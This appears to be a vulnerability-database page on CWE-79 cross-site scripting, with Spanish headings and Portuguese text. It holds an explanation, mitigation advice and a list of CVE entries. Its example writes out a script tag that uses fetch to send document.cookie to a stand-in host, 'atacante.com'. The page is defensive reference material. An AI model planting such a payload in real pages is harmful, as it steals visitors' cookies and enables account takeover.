Fallos del tipo CWE-79

29.621 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-54347HIGHFroxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account TakeoverEPSS 0.4%CVE-2024-9383MEDIUMParcel Pro <= 1.8.4 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2025-46877MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-51053MEDIUMA Cross-site scripting (XSS) vulnerability in /api_vedo/ in Vedo Suite version 2024.17 allows remote attackers to inject arbitrary JavascripEPSS 0.4%CVE-2025-22636HIGHWordPress VR-Frases plugin <= 4.0.1 - Reflected XSS to SQL Injection vulnerabilityEPSS 0.4%CVE-2025-46959MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-8740MEDIUMGetResponse Forms by Optin Cat <= 2.5.7 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-9682MEDIUMRoyal Elementor Addons and Templates <= 1.7.1001 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Form Builder WidgetEPSS 0.4%CVE-2024-37680MEDIUMHangzhou Meisoft Information Technology Co., Ltd. FineSoft <=8.0 is affected by Cross Site Scripting (XSS) which allows remote attackers to EPSS 0.4%CVE-2024-13660MEDIUMResponsive Flickr Slideshow <= 2.6.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-32335MEDIUMTOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in Access Control under the Wireless Page.EPSS 0.4%CVE-2025-55124MEDIUMImproper neutralisation of input in Revive Adserver 6.0.0+ causes a reflected XSS attack in the banner-zone.php script.EPSS 0.4%CVE-2023-46174MEDIUMIBM InfoSphere Information Server cross-site scriptingEPSS 0.4%CVE-2026-32275HIGHTautulli: Unsanitized JSONP callback parameter allows cross-origin script injection and API key theftEPSS 0.4%CVE-2024-32332MEDIUMTOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in WDS Settings under the Wireless Page.EPSS 0.4%CVE-2023-42009MEDIUMIBM InfoSphere Information Server cross-site scriptingEPSS 0.4%CVE-2026-2545MEDIUMLigeroSmart index.pl cross site scriptingEPSS 0.4%CVE-2021-46871MEDIUMtag.ex in Phoenix Phoenix.HTML (aka phoenix_html) before 3.0.4 allows XSS in HEEx class attributes.EPSS 0.4%CVE-2026-4544MEDIUMWavlink WL-WN578W2 POST Request login.cgi cross site scriptingEPSS 0.4%CVE-2025-23210MEDIUMBypass XSS sanitizer using the javascript protocol and special characters in phpoffice/phpspreadsheetEPSS 0.4%